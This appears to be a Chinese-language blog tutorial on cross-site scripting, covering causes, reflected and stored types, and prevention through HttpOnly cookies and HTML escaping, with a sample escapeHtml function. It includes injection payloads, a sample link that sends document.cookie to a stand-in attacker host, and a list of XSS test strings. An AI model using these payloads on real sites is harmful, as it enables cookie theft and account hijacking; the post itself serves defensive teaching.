你聽說過XSS嗎?
XSS(Cross-site scripting, 跨站腳本)是一種網(wǎng)站應(yīng)用程序的安全漏洞攻擊,是代碼注入的一種。
研究表明,最近幾年 XSS 已經(jīng)超過 “緩沖區(qū)溢出” 成為最流行的攻擊方式,有68%的網(wǎng)站可能遭受此類攻擊。

那么檢測一下你是否充分了解 XSS 吧

  1. XSS 為什么會(huì)發(fā)生?

  2. XSS 有幾種類型?

  3. XSS 如何預(yù)防和修復(fù)?

如果可以回答??3個(gè)問題,這篇文章對你提升是微乎其微的。
如果不可以,你可以花十分鐘左右閱讀一下。

我目前的客戶是一家銀行,因?yàn)槠髽I(yè)特性和業(yè)務(wù)需求,對系統(tǒng)安全高度重視。
因此,我不得不分析了整個(gè)系統(tǒng),從中找出未對應(yīng) XSS 的 Code 。說實(shí)話,雖然是企業(yè)內(nèi)部系統(tǒng),但是代碼也不少,看代碼看的我都快吐了。

得益于此,讓我對XSS的理解更加深了一層。

1. XSS 為什么會(huì)發(fā)生?

因?yàn)橛脩糨斎氲臄?shù)據(jù)被當(dāng)成代碼執(zhí)行了。

那么,為什么用戶輸入的數(shù)據(jù)會(huì)被當(dāng)成代碼并且被執(zhí)行呢?
因?yàn)楫?dāng)用戶輸入尖括號< >,引號' ",斜杠/之類的特殊字符時(shí),可能破壞原始的代碼結(jié)構(gòu),導(dǎo)致輸入的部分內(nèi)容被當(dāng)成代碼,并且被執(zhí)行。

[小例子]
假如有下面一個(gè)textbox

<input type="text" name="message" value="hello tj">

hello tj是來自用戶的輸入,如果用戶不是輸入hello tj,而是輸入"/><script>alert(document.cookie)</script><p name=" 那么就會(huì)變成??的樣子。可不可怕?

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><p name="">

2. XSS 有幾種類型?

XSS 有兩種類型,反射型XSS持久型XSS

反射型XSS

也就是非持久型XSS,常見誘騙用戶點(diǎn)擊帶有攻擊代碼的URL鏈接,鏈接被瀏覽器執(zhí)行,從而攻擊用戶。
只有當(dāng)前用戶被影響,影響范圍:小。

[小例子]

<a href="http://xxx91.com/index?term=<script>window.open('http://hacker.com?yourcookie='+document.cookie)</script>">小姐姐</a>

如果你點(diǎn)擊了??鏈接,你cookie信息就有可能被發(fā)送到黑客的服務(wù)器http://hacker.com。
雖然鏈接可能被用戶懷疑,但是可以通過短網(wǎng)址服務(wù)將之縮短,從而隱藏攻擊代碼。

持久型XSS

也叫存儲(chǔ)型XSS,提交包含攻擊代碼的數(shù)據(jù)到服務(wù)器。
所有瀏覽這部分?jǐn)?shù)據(jù)的用戶都將被攻擊代碼影響,影響范圍:大

[小例子]
html模版如下:

<input type="text" name="message" value="${message}">

當(dāng)從數(shù)據(jù)庫查詢的 message 如下:
"/><script>alert(document.cookie)</script><p name="
生成的 html 將變成??:

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><p name="">

此時(shí),html可能已經(jīng)不受我們控制了。

3. XSS 如何預(yù)防和修復(fù)?

原則:所有用戶輸入都是不可信的。(注意:攻擊代碼不一定僅在<script></script>中。)

  • 預(yù)防 反射型XSS
    將重要的cookie標(biāo)記為http only,這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了。

  • 預(yù)防 持久型XSS
    處理掉可能破壞原始代碼結(jié)構(gòu)的特殊字符。將特殊字符編碼成轉(zhuǎn)義字符,使其成為數(shù)據(jù)的一部分而不是代碼。
    [需要編碼的7個(gè)字符]

    &     –>     &amp;
    <     –>     &lt;
    >     –>     &gt;
    "     –>     &quot;
    `     ->     &#x60;'     –>     &#x27;/     –>     &#x2f;

    有兩點(diǎn)需要特別說明的是:

  1. 不推薦將單引號'編碼為 &apos; ,因?yàn)樗⒉皇菢?biāo)準(zhǔn)的HTML標(biāo)簽

  2. 需要對斜杠號/編碼,因?yàn)樵谶M(jìn)行XSS攻擊時(shí),斜杠號對于關(guān)閉當(dāng)前HTML標(biāo)簽非常有用

(最后)

  1. 分享一段簡單的代碼

    function escapeHtml(value) {
      if (typeof value !== 'string') {return value  }
      return value.replace(/[&<>`"'\/]/g, function(result) {return {
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '`': '&#x60;',
      '"': '&quot;',
      "'": '&#x27;',
      '/': '&#x2f;',}[result]  })}
  2. 分享一些用于檢測 XSS 的測試用例

    ><script>alert(document.cookie)</script>='><script>alert(document.cookie)</script>"><script>alert(document.cookie)</script><script>alert(document.cookie)</script><script>alert (vulnerable)</script>%3Cscript%3Ealert('XSS')%3C/script%3E<script>alert('XSS')</script><img src="javascript:alert('XSS')"><img src="http://xxx.com/yyy.png" onerror="alert('XSS')">

希望這篇文章對你有幫助。by iamtjcn

http://www.cnblogs.com/FlightButterfly/p/7118324.html